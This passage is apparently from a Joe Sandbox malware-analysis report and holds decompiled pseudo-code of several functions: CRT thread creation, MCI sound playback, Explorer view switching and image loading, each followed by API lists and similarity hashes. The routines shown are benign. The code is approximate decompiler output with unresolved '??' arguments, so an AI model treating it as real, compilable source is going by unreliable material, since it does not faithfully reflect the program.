                                                                                                                                                                            0x00435bb2
                                                                                                                                                                            0x00435bb2
                                                                                                                                                                            0x00435b89
                                                                                                                                                                            0x00435b57
                                                                                                                                                                            0x00435bbe
                                                                                                                                                                            0x00435bbe
                                                                                                                                                                            0x00435a64

                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _wcslen$_wcsncpy$LocalTime__wcstoi64
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 228034949-0
                                                                                                                                                                            • Opcode ID: 1bbe74cc6b430cd40855ef0fb96ca3219cb6c4760458e3245aadd62100630502
                                                                                                                                                                            • Instruction ID: c9113392db11e6d0b84b7dcaf0f9983ae7bcdcfbf3325debe08446cd55f13bc3
                                                                                                                                                                            • Opcode Fuzzy Hash: 1bbe74cc6b430cd40855ef0fb96ca3219cb6c4760458e3245aadd62100630502
                                                                                                                                                                            • Instruction Fuzzy Hash: 874194B181435066DA10FF6AC8479DFB3A8EF89314F84495FF945D3162E378E64883AA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004140DB Relevance: 21.1, APIs: 14, Instructions: 113threadCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 66%
                                                                                                                                                                            			E004140DB(intOrPtr __edx, void* __edi, long _a4, char _a8, intOrPtr _a12, long _a16, DWORD* _a20) {
				struct _SECURITY_ATTRIBUTES* _v0;
				DWORD* _v12;
				void* _v20;
				void* __ebx;
				void* __esi;
				void* __ebp;
				void* _t27;
				void* _t33;
				DWORD* _t38;
				intOrPtr* _t40;
				void* _t42;
				void* _t49;
				long _t52;
				void* _t62;
				struct _SECURITY_ATTRIBUTES* _t63;
				intOrPtr* _t65;
				void* _t66;

				_t62 = __edi;
				_t59 = __edx;
				_push(_t65);
				E00416A84();
				_t27 = E00416A64(E00416A7E());
				if(_t27 != 0) {
					_t52 = _a4;
					 *((intOrPtr*)(_t27 + 0x54)) =  *((intOrPtr*)(_t52 + 0x54));
					 *((intOrPtr*)(_t27 + 0x58)) =  *((intOrPtr*)(_t52 + 0x58));
					_t59 =  *((intOrPtr*)(_t52 + 4));
					_push(_t52);
					 *((intOrPtr*)(_t27 + 4)) =  *((intOrPtr*)(_t52 + 4));
					E00416C8C(_t49,  *((intOrPtr*)(_t52 + 4)), __edi, _t65, __eflags);
				} else {
					_t65 = _a4;
					if(E00416AB8(E00416A7E(), _t65) == 0) {
						_push(GetLastError());
						RtlExitUserThread();
					}
					 *_t65 = GetCurrentThreadId();
				}
				_t74 =  *0x48322c;
				if( *0x48322c != 0) {
					_t42 = E00418540(_t74, 0x48322c);
					_pop(_t52);
					_t75 = _t42;
					if(_t42 != 0) {
						 *0x48322c();
					}
				}
				E0041409A(_t62, _t65, _t75);
				asm("int3");
				_push(_t52);
				_push(_t49);
				_push(_t62);
				_t63 = _v0;
				_v20 = 0;
				_t76 = _t63;
				if(_t63 != 0) {
					_push(_t65);
					E00416A84();
					_t66 = E00416FFB(1, 0x214);
					__eflags = _t66;
					if(__eflags == 0) {
						L15:
						_push(_t66);
						E00413A88(0, _t59, _t63, _t66, __eflags);
						__eflags = _v12;
						if(_v12 != 0) {
							E00417F49(_v12);
						}
						_t33 = 0;
						__eflags = 0;
						L18:
						goto L19;
					}
					_push( *((intOrPtr*)(E00416C72(0, _t63, __eflags) + 0x6c)));
					_push(_t66);
					E00416B12(0, _t59, _t63, _t66, __eflags);
					 *(_t66 + 4) =  *(_t66 + 4) | 0xffffffff;
					 *((intOrPtr*)(_t66 + 0x58)) = _a12;
					_t38 = _a20;
					 *((intOrPtr*)(_t66 + 0x54)) = _t63;
					__eflags = _t38;
					if(_t38 == 0) {
						_t38 =  &_a8;
					}
					_t33 = CreateThread(_v0, _a4, E004140DB, _t66, _a16, _t38);
					__eflags = _t33;
					if(__eflags != 0) {
						goto L18;
					} else {
						_v12 = GetLastError();
						goto L15;
					}
				} else {
					_t40 = E00417F23(_t76);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					 *_t40 = 0x16;
					E00417EBB(_t59, _t63, _t65);
					_t33 = 0;
					L19:
					return _t33;
				}
			}




















                                                                                                                                                                            0x004140db
                                                                                                                                                                            0x004140db
                                                                                                                                                                            0x004140e0
                                                                                                                                                                            0x004140e1
                                                                                                                                                                            0x004140ec
                                                                                                                                                                            0x004140f3
                                                                                                                                                                            0x0041411f
                                                                                                                                                                            0x00414125
                                                                                                                                                                            0x0041412b
                                                                                                                                                                            0x0041412e
                                                                                                                                                                            0x00414131
                                                                                                                                                                            0x00414132
                                                                                                                                                                            0x00414135
                                                                                                                                                                            0x004140f5
                                                                                                                                                                            0x004140f5
                                                                                                                                                                            0x00414106
                                                                                                                                                                            0x0041410e
                                                                                                                                                                            0x0041410f
                                                                                                                                                                            0x0041410f
                                                                                                                                                                            0x0041411b
                                                                                                                                                                            0x0041411b
                                                                                                                                                                            0x0041413a
                                                                                                                                                                            0x00414141
                                                                                                                                                                            0x00414148
                                                                                                                                                                            0x0041414d
                                                                                                                                                                            0x0041414e
                                                                                                                                                                            0x00414150
                                                                                                                                                                            0x00414152
                                                                                                                                                                            0x00414152
                                                                                                                                                                            0x00414150
                                                                                                                                                                            0x00414158
                                                                                                                                                                            0x0041415d
                                                                                                                                                                            0x00414163
                                                                                                                                                                            0x00414164
                                                                                                                                                                            0x00414165
                                                                                                                                                                            0x00414166
                                                                                                                                                                            0x0041416b
                                                                                                                                                                            0x0041416e
                                                                                                                                                                            0x00414170
                                                                                                                                                                            0x0041418e
                                                                                                                                                                            0x0041418f
                                                                                                                                                                            0x004141a0
                                                                                                                                                                            0x004141a4
                                                                                                                                                                            0x004141a6
                                                                                                                                                                            0x004141f2
                                                                                                                                                                            0x004141f2
                                                                                                                                                                            0x004141f3
                                                                                                                                                                            0x004141f9
                                                                                                                                                                            0x004141fc
                                                                                                                                                                            0x00414201
                                                                                                                                                                            0x00414206
                                                                                                                                                                            0x00414207
                                                                                                                                                                            0x00414207
                                                                                                                                                                            0x00414209
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00414209
                                                                                                                                                                            0x004141ad
                                                                                                                                                                            0x004141b0
                                                                                                                                                                            0x004141b1
                                                                                                                                                                            0x004141b9
                                                                                                                                                                            0x004141bd
                                                                                                                                                                            0x004141c0
                                                                                                                                                                            0x004141c5
                                                                                                                                                                            0x004141c8
                                                                                                                                                                            0x004141ca
                                                                                                                                                                            0x004141cc
                                                                                                                                                                            0x004141cc
                                                                                                                                                                            0x004141df
                                                                                                                                                                            0x004141e5
                                                                                                                                                                            0x004141e7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004141e9
                                                                                                                                                                            0x004141ef
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004141ef
                                                                                                                                                                            0x00414172
                                                                                                                                                                            0x00414172
                                                                                                                                                                            0x00414177
                                                                                                                                                                            0x00414178
                                                                                                                                                                            0x00414179
                                                                                                                                                                            0x0041417a
                                                                                                                                                                            0x0041417b
                                                                                                                                                                            0x0041417c
                                                                                                                                                                            0x00414182
                                                                                                                                                                            0x0041418a
                                                                                                                                                                            0x0041420a
                                                                                                                                                                            0x0041420d
                                                                                                                                                                            0x0041420d

                                                                                                                                                                            APIs
                                                                                                                                                                            • ___set_flsgetvalue.LIBCMT ref: 004140E1
                                                                                                                                                                              • Part of subcall function 00416A84: TlsGetValue.KERNEL32(?,00416C10,?,004114D4,?,00000000,00000001), ref: 00416A8D
                                                                                                                                                                              • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                                              • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,004114D4,?,00000000,00000001), ref: 00416AAE
                                                                                                                                                                            • ___fls_getvalue@4.LIBCMT ref: 004140EC
                                                                                                                                                                              • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                                            • ___fls_setvalue@8.LIBCMT ref: 004140FF
                                                                                                                                                                              • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                                            • GetLastError.KERNEL32(00000000,?,00000000), ref: 00414108
                                                                                                                                                                            • RtlExitUserThread.NTDLL(00000000), ref: 0041410F
                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 00414115
                                                                                                                                                                            • __freefls@4.LIBCMT ref: 00414135
                                                                                                                                                                            • __IsNonwritableInCurrentImage.LIBCMT ref: 00414148
                                                                                                                                                                            • ___set_flsgetvalue.LIBCMT ref: 0041418F
                                                                                                                                                                            • __calloc_crt.LIBCMT ref: 0041419B
                                                                                                                                                                            • __getptd.LIBCMT ref: 004141A8
                                                                                                                                                                            • CreateThread.KERNEL32(?,?,004140DB,00000000,?,?), ref: 004141DF
                                                                                                                                                                            • GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 004141E9
                                                                                                                                                                            • __dosmaperr.LIBCMT ref: 00414201
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ThreadValue$CurrentErrorLast___set_flsgetvalue__decode_pointer$CreateExitImageNonwritableUser___fls_getvalue@4___fls_setvalue@8__calloc_crt__dosmaperr__freefls@4__getptd
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 4171821617-0
                                                                                                                                                                            • Opcode ID: ecfb78af76487f11491ab8315763cbdaa8ac375a038b004d7560cfa267b42b86
                                                                                                                                                                            • Instruction ID: 6cf2b3093300dd30c8182609a2198c7f4f19304791338785454392b0ea56be0f
                                                                                                                                                                            • Opcode Fuzzy Hash: ecfb78af76487f11491ab8315763cbdaa8ac375a038b004d7560cfa267b42b86
                                                                                                                                                                            • Instruction Fuzzy Hash: B431C371500205BFCB10BFB6DD498DF7BA9EF45354B21846EF90597251DB38C9C18B68
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0045EEFF Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 74COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 70%
                                                                                                                                                                            			E0045EEFF(void* __ebp, void* __eflags, void* __fp0, short* _a4) {
				intOrPtr _v24;
				short _v536;
				char _v540;
				char _v544;
				char _v548;
				short _v552;
				WCHAR* _v556;
				char _v604;
				void* __ebx;
				void* __edi;
				long _t28;
				short* _t34;
				void* _t39;

				_t34 = _a4;
				E0040C060( &_v540, __eflags);
				E004021E0( &_v540, _t34, _t39, L"open ");
				E00403470( &_v544, _t34, __ebp, __fp0, 0x22);
				E0040D330( &_v548, _t34, _t34, __fp0);
				E00403470( &_v548, _t34, __ebp, __fp0, 0x22);
				E0040D330( &_v552, _t34, L" alias PlayMe", __fp0);
				mciSendStringW(L"status PlayMe mode",  &_v536, 0x100, 0);
				if(_v552 != 0) {
					mciSendStringW(L"close PlayMe", 0, 0, 0);
				}
				if( *_t34 == 0) {
					L7:
					return E00402620( &_v556);
				} else {
					_t28 = mciSendStringW(_v556, 0, 0, 0);
					if(_t28 != 0) {
						goto L7;
					} else {
						_push(_t28);
						_push(_t28);
						_push(_t28);
						if(_v24 == _t28) {
							mciSendStringW(L"play PlayMe", ??, ??, ??);
							goto L7;
						} else {
							mciSendStringW(L"play PlayMe wait", ??, ??, ??);
							mciSendStringW(L"close PlayMe", 0, 0, 0);
							return E00402620( &_v604);
						}
					}
				}
			}
















                                                                                                                                                                            0x0045ef06
                                                                                                                                                                            0x0045ef13
                                                                                                                                                                            0x0045ef21
                                                                                                                                                                            0x0045ef2c
                                                                                                                                                                            0x0045ef37
                                                                                                                                                                            0x0045ef42
                                                                                                                                                                            0x0045ef50
                                                                                                                                                                            0x0045ef6c
                                                                                                                                                                            0x0045ef74
                                                                                                                                                                            0x0045ef81
                                                                                                                                                                            0x0045ef81
                                                                                                                                                                            0x0045ef87
                                                                                                                                                                            0x0045efd4
                                                                                                                                                                            0x0045efe6
                                                                                                                                                                            0x0045ef89
                                                                                                                                                                            0x0045ef94
                                                                                                                                                                            0x0045ef98
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045ef9a
                                                                                                                                                                            0x0045ef9a
                                                                                                                                                                            0x0045ef9b
                                                                                                                                                                            0x0045ef9c
                                                                                                                                                                            0x0045efa4
                                                                                                                                                                            0x0045efd2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045efa6
                                                                                                                                                                            0x0045efab
                                                                                                                                                                            0x0045efb8
                                                                                                                                                                            0x0045efcc
                                                                                                                                                                            0x0045efcc
                                                                                                                                                                            0x0045efa4
                                                                                                                                                                            0x0045ef98

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                            • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 0045EF6C
                                                                                                                                                                            • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 0045EF81
                                                                                                                                                                            • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045EF94
                                                                                                                                                                            • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 0045EFAB
                                                                                                                                                                            • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 0045EFB8
                                                                                                                                                                            • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0045EFD2
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: SendString$_wcslen
                                                                                                                                                                            • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                                                                                                                                                            • API String ID: 2420728520-1007645807
                                                                                                                                                                            • Opcode ID: b006aa72ec160184b09dde4f5a5122bd9591fd6c26ad79c7db52c1bd2731e7ae
                                                                                                                                                                            • Instruction ID: 2d14a15418faf8d3173d87b9f65a365bdee63c57830c3b6246332aee837ca4c9
                                                                                                                                                                            • Opcode Fuzzy Hash: b006aa72ec160184b09dde4f5a5122bd9591fd6c26ad79c7db52c1bd2731e7ae
                                                                                                                                                                            • Instruction Fuzzy Hash: D021A83164831476E220FB51DC87F9E7798AB84B14F600D3BB5407A0D1DBA8E94CC76E
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00445A77 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 73windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 51%
                                                                                                                                                                            			E00445A77(void* __eflags, struct HWND__** _a4, intOrPtr* _a8) {
				short _v516;
				void* _t12;
				void* _t14;
				void* _t16;
				void* _t17;
				struct HWND__* _t22;
				intOrPtr* _t23;

				_t23 = _a8;
				_t22 = GetParent( *_a4);
				GetClassNameW(_t22,  &_v516, 0x100);
				if(E004133E4( &_v516, L"SHELLDLL_DefView") != 0) {
					return 0;
				} else {
					_t12 = E004115D0( &_v516,  *_t23, L"largeicons");
					if(_t12 != 0) {
						_t14 = E004115D0( &_v516,  *_t23, L"details");
						if(_t14 != 0) {
							_t16 = E004115D0( &_v516,  *_t23, L"smallicons");
							if(_t16 != 0) {
								_t17 = E004115D0( &_v516,  *_t23, L"list");
								if(_t17 == 0) {
									_push(_t17);
									_push(0x702b);
									goto L10;
								}
							} else {
								_push(_t16);
								_push(0x702a);
								goto L10;
							}
						} else {
							_push(_t14);
							_push(0x702c);
							goto L10;
						}
					} else {
						_push(_t12);
						_push(0x7029);
						L10:
						SendMessageW(_t22, 0x111, ??, ??);
					}
					return 1;
				}
			}










                                                                                                                                                                            0x00445a84
                                                                                                                                                                            0x00445a9c
                                                                                                                                                                            0x00445aa0
                                                                                                                                                                            0x00445aba
                                                                                                                                                                            0x00445b1a
                                                                                                                                                                            0x00445abc
                                                                                                                                                                            0x00445ac4
                                                                                                                                                                            0x00445ace
                                                                                                                                                                            0x00445ae0
                                                                                                                                                                            0x00445aea
                                                                                                                                                                            0x00445afc
                                                                                                                                                                            0x00445b06
                                                                                                                                                                            0x00445b25
                                                                                                                                                                            0x00445b2f
                                                                                                                                                                            0x00445b31
                                                                                                                                                                            0x00445b32
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00445b32
                                                                                                                                                                            0x00445b08
                                                                                                                                                                            0x00445b08
                                                                                                                                                                            0x00445b09
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00445b09
                                                                                                                                                                            0x00445aec
                                                                                                                                                                            0x00445aec
                                                                                                                                                                            0x00445aed
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00445aed
                                                                                                                                                                            0x00445ad0
                                                                                                                                                                            0x00445ad0
                                                                                                                                                                            0x00445ad1
                                                                                                                                                                            0x00445b37
                                                                                                                                                                            0x00445b3d
                                                                                                                                                                            0x00445b3d
                                                                                                                                                                            0x00445b4d
                                                                                                                                                                            0x00445b4d

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetParent.USER32 ref: 00445A8D
                                                                                                                                                                            • GetClassNameW.USER32(00000000,?,00000100), ref: 00445AA0
                                                                                                                                                                            • __wcsicoll.LIBCMT ref: 00445AC4
                                                                                                                                                                            • __wcsicoll.LIBCMT ref: 00445AE0
                                                                                                                                                                            • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00445B3D
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __wcsicoll$ClassMessageNameParentSend
                                                                                                                                                                            • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                                                                                                                                            • API String ID: 3125838495-3381328864
                                                                                                                                                                            • Opcode ID: 6f6f70247b4827d2a410ddc22f410c306ecb8b2e46d0c95c17204de523c723c4
                                                                                                                                                                            • Instruction ID: 9ea7b4bfd8e333fc3d4c3d1cc69785ca983c3453aa66f955cff8de8c622a02b1
                                                                                                                                                                            • Opcode Fuzzy Hash: 6f6f70247b4827d2a410ddc22f410c306ecb8b2e46d0c95c17204de523c723c4
                                                                                                                                                                            • Instruction Fuzzy Hash: F011E9B1B40301BBFF10B6659C46EAF739CDF94759F00081BFD44E6182F6ACA9458769
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004334CA Relevance: 19.6, APIs: 13, Instructions: 132filecommemoryCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 85%
                                                                                                                                                                            			E004334CA(struct HWND__** _a4, WCHAR* _a8, DWORD* _a12) {
				char _v4;
				char _v24;
				intOrPtr* _v28;
				long _v32;
				char _v36;
				int* _v40;
				void* _v44;
				intOrPtr* _v48;
				intOrPtr* _v68;
				void _v72;
				int _v76;
				int _v80;
				WCHAR* _t27;
				void* _t28;
				long _t29;
				void* _t35;
				intOrPtr* _t42;
				intOrPtr* _t46;
				int* _t51;
				intOrPtr* _t54;
				long _t56;
				void* _t71;
				struct HWND__** _t73;
				struct HWND__* _t74;
				void* _t75;
				int* _t76;

				_t27 = _a8;
				_t76 = _a12;
				_a8 = 0;
				if( *_t27 == 0) {
					_a12 = 0;
					goto L9;
				} else {
					_t71 = CreateFileW(_t27, 0x80000000, 0, 0, 3, 0, 0);
					if(_t71 != 0xffffffff) {
						_t56 = GetFileSize(_t71, 0);
						_t35 = GlobalAlloc(2, _t56);
						_t75 = _t35;
						GlobalFix(_t75);
						ReadFile(_t71, _t35, _t56,  &_v32, 0);
						GlobalUnWire(_t75);
						CloseHandle(_t71);
						 *0x482804(_t75, 1,  &_v36);
						 *0x482414(_v48, 0, 0, 0x482a20,  &_v4);
						_t42 = _v68;
						 *((intOrPtr*)( *((intOrPtr*)( *_t42 + 8))))(_t42);
						GlobalFree(_t75);
						_t46 = _v28;
						if(_t46 == 0) {
							goto L2;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)( *_t46 + 0xc))))(_t46,  &_v24);
							GetObjectW(_v32, 0x18,  &_v72);
							_t51 = _v40;
							if( *_t76 == 0 &&  *_t51 == 0) {
								 *_t76 = _v80;
								 *_t51 = _v76;
							}
							_v44 = CopyImage(_v44, 0,  *_t76,  *_t51, 0x2000);
							_t54 = _v48;
							 *((intOrPtr*)( *((intOrPtr*)( *_t54 + 8))))(_t54);
							L9:
							_t73 = _a4;
							_t28 = _t73[0x18];
							if(_t28 != 0) {
								DeleteObject(_t28);
							}
							_t29 = _a12;
							_t73[0x18] = _t29;
							_t74 =  *_t73;
							SendMessageW(_t74, 0x172, 0, _t29);
							return _t74;
						}
					} else {
						L2:
						return 0;
					}
				}
			}





























                                                                                                                                                                            0x004334cd
                                                                                                                                                                            0x004334d3
                                                                                                                                                                            0x004334db
                                                                                                                                                                            0x004334e2
                                                                                                                                                                            0x004335f3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004334e8
                                                                                                                                                                            0x004334fa
                                                                                                                                                                            0x004334ff
                                                                                                                                                                            0x00433515
                                                                                                                                                                            0x0043351a
                                                                                                                                                                            0x00433520
                                                                                                                                                                            0x00433523
                                                                                                                                                                            0x00433533
                                                                                                                                                                            0x0043353a
                                                                                                                                                                            0x00433541
                                                                                                                                                                            0x0043354f
                                                                                                                                                                            0x00433568
                                                                                                                                                                            0x0043356e
                                                                                                                                                                            0x00433578
                                                                                                                                                                            0x0043357b
                                                                                                                                                                            0x00433581
                                                                                                                                                                            0x00433587
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0043358d
                                                                                                                                                                            0x00433598
                                                                                                                                                                            0x004335a6
                                                                                                                                                                            0x004335b0
                                                                                                                                                                            0x004335b4
                                                                                                                                                                            0x004335c3
                                                                                                                                                                            0x004335c6
                                                                                                                                                                            0x004335c6
                                                                                                                                                                            0x004335e1
                                                                                                                                                                            0x004335e5
                                                                                                                                                                            0x004335ef
                                                                                                                                                                            0x004335f7
                                                                                                                                                                            0x004335f7
                                                                                                                                                                            0x004335fb
                                                                                                                                                                            0x00433600
                                                                                                                                                                            0x00433603
                                                                                                                                                                            0x00433603
                                                                                                                                                                            0x00433609
                                                                                                                                                                            0x00433610
                                                                                                                                                                            0x00433613
                                                                                                                                                                            0x0043361b
                                                                                                                                                                            0x0043362a
                                                                                                                                                                            0x0043362a
                                                                                                                                                                            0x00433501
                                                                                                                                                                            0x00433501
                                                                                                                                                                            0x0043350a
                                                                                                                                                                            0x0043350a
                                                                                                                                                                            0x004334ff

                                                                                                                                                                            APIs
                                                                                                                                                                            • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,?,0046FAD5), ref: 004334F4
                                                                                                                                                                            • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043350F
                                                                                                                                                                            • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043351A
                                                                                                                                                                            • GlobalFix.KERNEL32(00000000), ref: 00433523
                                                                                                                                                                            • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 00433533
                                                                                                                                                                            • GlobalUnWire.KERNEL32(00000000), ref: 0043353A
                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 00433541
                                                                                                                                                                            • OleLoadPicture.OLEAUT32(?,00000000,00000000,00482A20,?), ref: 00433568
                                                                                                                                                                            • GlobalFree.KERNEL32(00000000), ref: 0043357B
                                                                                                                                                                            • GetObjectW.GDI32(?,00000018,?,?,?,?,?,0046FAD5,?,?,?,?), ref: 004335A6
                                                                                                                                                                            • CopyImage.USER32(?,00000000,?,?,00002000), ref: 004335DB
                                                                                                                                                                            • DeleteObject.GDI32(?), ref: 00433603
                                                                                                                                                                            • SendMessageW.USER32(?,00000172,00000000,?), ref: 0043361B
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
